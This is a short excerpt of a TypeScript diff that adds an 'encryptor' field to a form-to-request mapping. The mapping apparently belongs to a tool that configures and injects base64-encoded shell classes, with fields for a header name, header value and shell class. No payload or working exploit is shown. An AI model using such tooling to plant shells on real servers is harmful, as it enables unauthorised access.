export function transformToPostData(formValue: FormSchema) { headerName: formValue.headerName, headerValue: formValue.headerValue, shellClassBase64: formValue.shellClassBase64, + encryptor: formValue.encryptor, }; const injectorConfig: InjectorConfig = {